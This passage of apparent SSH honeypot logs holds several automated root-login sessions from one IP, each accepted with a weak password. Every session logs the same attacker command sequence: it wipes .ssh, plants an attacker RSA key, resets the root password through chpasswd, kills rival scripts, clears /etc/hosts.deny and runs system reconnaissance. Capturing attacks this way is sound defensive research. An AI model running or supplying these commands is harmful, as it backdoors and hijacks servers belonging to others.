$7}'"},{"seq":10,"at":"2026-08-27T06:40:39.150449+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:40:39.477544+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:40:40.350907+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:40:40.678070+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:40:40.678573+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T06:40:41.002892+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:40:41.003361+00:00","kind":"output","latency_ms":null,"data":" 06:40:41 up 7 days, 3:30, 0 user, load average: 0.17, 0.22, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:40:41.328457+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:40:41.329046+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:40:41.654809+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:40:41.655345+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:40:41.978881+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:40:41.979735+00:00","kind":"output","latency_ms":null,"data":"top - 06:40:41 up 7 days, 3:30, 0 user, load average: 0.17, 0.22, 0.13\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:40:42.304698+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:40:42.305111+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:40:42.631500+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:40:42.632261+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:40:42.957554+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:40:42.958181+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:40:43.282727+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:40:43.762245+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:40:44.086077+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:40:44.605009+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Az123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"6ac60bea-1c54-4953-bff1-ffb36751b9ad","name":"sterling-quiet-kakapo","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37062,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:53:51.433201+00:00","ended_at":"2026-08-27T05:53:52.777417+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:53:20.767840+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:53:21.080655+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:53:25.588042+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:53:26.764175+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:53:27.078885+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Ble78zdkwOmr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:53:27.392451+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:53:27.705574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:53:28.415265+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:53:29.784604+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:53:30.100694+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:53:31.949916+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:53:32.264988+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:53:33.177134+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:53:33.494277+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:53:35.537549+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:53:35.850743+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:53:37.951298+00:00","kind":"output","latency_ms":null,"data":" 05:53:37 up 7 days, 2:43, 0 user, load average: 0.21, 0.19, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:53:38.265047+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:53:39.401117+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:53:39.714990+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:53:40.848945+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:53:41.162077+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:53:43.000950+00:00","kind":"output","latency_ms":null,"data":"top - 05:53:43 up 7 days, 2:43, 0 user, load average: 0.21, 0.19, 0.15\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:53:43.315368+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:53:44.240097+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:53:44.557425+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:53:46.626311+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:53:46.941634+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:53:48.989112+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:53:49.303929+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:53:51.121293+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:53:51.433950+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:53:52.681390+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"java1234","method":"password","accepted":true,"tier":"other"}]} {"id":"e7767d99-2f3a-4355-b785-faacccfdda2b","name":"quartz-primal-wren","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":55226,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:47:51.436453+00:00","ended_at":"2026-08-27T05:47:53.469714+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:47:32.208401+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:47:32.519129+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:47:37.543236+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:47:38.123729+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:47:38.436861+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1s6mPUuULazx\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:47:38.754930+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:47:39.066920+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:47:39.567439+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:47:39.881286+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:47:40.667789+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:47:40.983043+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:47:42.314731+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:47:42.613838+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:47:42.897287+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:47:43.208970+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:47:44.015784+00:00","kind":"output","latency_ms":null,"data":" 05:47:44 up 7 days, 2:37, 0 user, load average: 0.16, 0.15, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:47:44.339310+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:47:44.789469+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:47:45.102458+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:47:45.777038+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:47:46.088520+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:47:46.598373+00:00","kind":"output","latency_ms":null,"data":"top - 05:47:46 up 7 days, 2:37, 0 user, load average: 0.16, 0.15, 0.17\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:47:46.909651+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:47:47.761383+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:47:48.076205+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:47:48.870024+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:47:49.182984+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:47:49.510603+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:47:49.822365+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:47:51.125228+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:47:51.437254+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:47:53.374739+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwerty22","method":"password","accepted":true,"tier":"other"}]} {"id":"58ff4cae-b44a-4118-8862-2327b3d79ae9","name":"honest-vigilant-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":43386,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:43:53.133955+00:00","ended_at":"2026-08-27T05:43:54.758512+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:43:22.236591+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:43:22.561374+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:43:27.649316+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:43:29.639199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:43:29.960628+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FC7J3LQJMOFh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:43:30.288524+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:43:30.622178+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:43:31.000071+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:43:32.640399+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:43:32.966555+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:43:34.384581+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:43:34.711476+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:43:36.591066+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:43:36.918646+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:43:37.940954+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:43:38.265669+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:43:39.804820+00:00","kind":"output","latency_ms":null,"data":" 05:43:39 up 7 days, 2:33, 0 user, load average: 0.04, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:43:40.128443+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:43:42.263650+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:43:42.600997+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:43:44.585100+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:43:44.908302+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:43:46.996254+00:00","kind":"output","latency_ms":null,"data":"top - 05:43:46 up 7 days, 2:33, 0 user, load average: 0.04, 0.04, 0.03\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:43:47.320429+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:43:49.283359+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:43:49.608173+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:43:50.262150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:43:50.586100+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:43:51.243756+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:43:51.567609+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:43:52.811511+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:43:53.134855+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:43:54.660901+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Kc@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"f3ccc5e2-0539-4200-8222-3abf799f8e95","name":"jolly-daring-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":58808,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:41:55.054504+00:00","ended_at":"2026-08-27T05:41:57.305487+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:41:24.358855+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:41:24.685085+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:41:28.823427+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:41:30.407015+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:41:30.721316+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2YqtmL7kZRgP\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:41:31.034750+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:41:31.358282+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:41:32.704403+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:41:32.853910+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:41:33.167480+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:41:35.237215+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:41:35.550525+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:41:36.781492+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:41:37.095543+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:41:39.164450+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:41:39.477540+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:41:41.131033+00:00","kind":"output","latency_ms":null,"data":" 05:41:41 up 7 days, 2:31, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:41:41.445229+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:41:43.024204+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:41:43.337779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:41:45.480708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:41:45.795650+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:41:47.970969+00:00","kind":"output","latency_ms":null,"data":"top - 05:41:47 up 7 days, 2:31, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n 